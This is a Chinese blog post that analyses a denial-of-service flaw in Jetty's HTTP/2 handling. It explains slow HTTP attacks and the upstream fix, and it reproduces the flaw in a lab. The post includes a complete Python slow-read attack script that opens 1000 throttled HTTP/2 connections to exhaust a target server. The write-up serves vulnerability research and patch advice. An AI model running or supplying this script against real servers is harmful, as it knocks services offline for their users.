Jetty HTTP2.0 DoS漏洞分析

Hello, 好久没写技术博客了。最近作者在使用Jetty时发现了一个有意思的漏洞,想和大家分享一下。如果有任何疑问或错误欢迎指出。

背景

Tomcat和Jetty都是被广泛用于项目的开源Servlet容器。本文不会阐述Tomcat和Jetty之间的区别,感兴趣的同学可以自行学习相关内容。

Jetty团队去年在github issues中爆出了一个可能被DoS攻击的中级漏洞。github.com/eclipse/jet…

大致是,在Jetty容器引用http2-server组件开启HTTP2.0功能后,同时开发者提供了使用HTTP2.0协议服务接口。访问非正常URL时,攻击者可以通过耗尽TCP滑动窗口或HTTP2.0流控来达到耗尽Jetty服务器资源,从而达到DoS攻击效果。噢吼,这不就是HTTP慢速攻击吗。下面我们先来介绍一下HTTP慢速攻击,再来分析Jetty有漏洞的源码,之后我们做个实验来验证一下这个漏洞。

HTTP慢速攻击

HTTP慢速攻击是应用层DoS攻击的一种。由Web安全专家RSnake在2009年提出的一种攻击方式,其原理是以极低速度向服务器发送HTTP请求,服务器有并发数限制。一旦这些恶意链接不释放,同时不停的创建新的恶意链接就会导致服务器资源被耗尽。

HTTP慢速攻击一共有3种

Slow Header攻击

Slow Header攻击利用HTTP 请求头设计。众所周知HTTP Header是文本信息。每个属性,比如Content-Type: text/plain都是由"\r\n"来进行分隔的。最后一个属性后面会拼接"\r\n\r\n"来告知服务器请求头已传输完毕,请处理我的请求。攻击者利用这个设计,永远不传"\r\n\r\n",同时,我们也知道HTTP服务器在没有接收到完整的请求头是不会处理请求的。这时,服务器就不得不一直维持着链接。一旦存在大量这种链接,就会导致服务器资源被耗尽。新的请求无法处理。

Slow POST攻击

攻击者将Content-Length设置为一个很大的值,但是却用非常慢的速度来发送数据。这就会导致服务器一直维护着链接,大量此类型连接就会导致服务器资源耗尽。

Slow Read攻击

利用TCP滑动窗口机制,攻击者将客户端内核读缓冲区设置的非常小。同时,用非常慢的速率将内核读缓冲区的数据拷贝到用户进程缓冲区。这时,服务器端就会收到客户端发来的ZeroWindow消息,让服务器端以为客户端非常忙碌无法处理发来的Response消息。服务器不得不维持着连接。大量此链接的存在就会导致服务器资源消耗殆尽。

漏洞源码

首先贴上Jetty团队修复漏洞的PR链接github.com/eclipse/jet…

image.png 这个漏洞存在HttpChannelOverHTTP2.java 的OnRequest和OnPush方法中(OnPush为HTTP2.0特有的服务端推送功能)。我们继续看看OnBadMessage是干什么的。为什么不返回NULL了,而是直接返回一个Runnable对象?

image.png OnBadMessage是在处理请求时出现异常时,向客户端返回错误信息用的。OnBadMessage与OnRequest是在同一个线程上下文。一旦攻击者使用Slow Read来攻击,就会导致jetty的 worker selector线程被阻塞(jetty底层使用的是netty框架)。所以,为了防止阻塞worker线程,jetty团队直接返回一个Runnable对象将它丢到任务队列中,释放线程来处理新的请求。

实验

目前,大多数的HTTP慢速攻击工具,比如基于C++的slowhttptest都不支持HTTP2.0协议。没关系我们可以手搓一个。

注意!!!目前大多数支持HTTP2.0 协议的Servelt容器都要求配置TLS链接。在TLS握手的ALPN(应用协议协商)阶段,客户端和服务器端会达成使用哪种HTTP协议的约定。虽然HTTP2.0协议没有强制要求必须进行TLS握手,但是,使用Jetty HTTP2.0功能必须配置TLS。

攻击脚本

使用Python搓一个Slow Read攻击脚本, 使用h2 HTTP2.0客户端库

在此声明,工具仅提供研究漏洞使用。用于其他目的造成的影响,后果自负,作者概不负责

import socket
import ssl
import time

import h2.connection
import h2.events

from concurrent.futures import ThreadPoolExecutor


def attack(ip: str, port: int, url: str):
    try:
        # 设置TLS
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        ctx.set_alpn_protocols(['h2'])

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # 将内核读缓冲区设置为128bytes
        s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 128)
        s.settimeout(1200)
        s = ctx.wrap_socket(s, server_hostname=ip)
        s.connect((ip, port))

        # 设置HTTP2.0
        c = h2.connection.H2Connection()
        c.initiate_connection()
        s.sendall(c.data_to_send())
    except Exception as e:
        print(e)
        return

    # HTTP2.0请求头与HTTP/1稍有不同
    headers = [
        (':method', 'GET'),
        (':path', url),
        (':authority', ip),
        (':scheme', 'https'),
        ('keep-alive', 'timeout=5000, max=5000')
    ]

    c.send_headers(1, headers, end_stream=True)
    s.sendall(c.data_to_send())

    resp_stream_end = False
    while not resp_stream_end:
        # 每次只从内核读缓冲区读取1byte
        data = s.recv(1)
        if not data:
            break

        events = c.receive_data(data)

        for event in events:
            if isinstance(event, h2.events.StreamEnded):
                resp_stream_end = True
                break
        # 每读一个字节,线程休眠15s
        time.sleep(15)
    c.close_connection()
    s.sendall(c.data_to_send())
    s.close()


if __name__ == '__main__':
    # 创建1000个发送invalid URL的连接
    with ThreadPoolExecutor(max_workers=1000) as pool:
        for i in range(0, 1000):
            pool.submit(attack, ip, port, invalid_url)

服务器端

服务器端我们使用spring-boot-starter-web,排除Tomcat使用Jetty内嵌式容器。

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <version>3.0.4</version>
        <exclusions>
            <exclusion>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-tomcat</artifactId>
            </exclusion>
        </exclusions>
    </dependency>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-jetty</artifactId>
        <version>2.6.6</version>
    </dependency>

    <dependency>
        <groupId>org.eclipse.jetty</groupId>
        <artifactId>jetty-alpn-conscrypt-server</artifactId>
        <version>9.4.15.v20190215</version>
    </dependency>
    <dependency>
        <groupId>org.eclipse.jetty.http2</groupId>
        <artifactId>http2-server</artifactId>
        <version>9.4.15.v20190215</version>
    </dependency>
</dependencies>

配置文件中要开启TLS和http2功能

ssl:
  key-store: classpath:cert.jks
  key-password: 123456
http2:
  enabled: true

随意写一个Controller类。

可以看到在没有攻击前,请求是正常的,而且协议使用的是h2, 也就是http2.0 image.png

攻击开始

通过wireshake抓包可以看到客户端向服务器端发送ZeroWindow 探针。Slow Read 攻击出现

Screenshot 2023-05-16 052010.jpg

攻击结束后,服务已经无法访问 image.png

此时通过lsof命令可以看到,jetty在DoS攻击后未能回收连接资源。文件句柄数为548,已经超过512的限制。已经无法再处理新的请求,只能重启服务。DoS攻击成功。 image.png

总结

漏洞出现的Jetty版本是9.4.46,理论上小于该版本的Jetty在使用HTTP2.0协议功能的时候都可能会受到DoS攻击。Jetty团队已修复该漏洞。所以,如果使用还在使用低版本Jetty的同学建议升级。

猜你喜欢

转载自juejin.im/post/7233409321340715067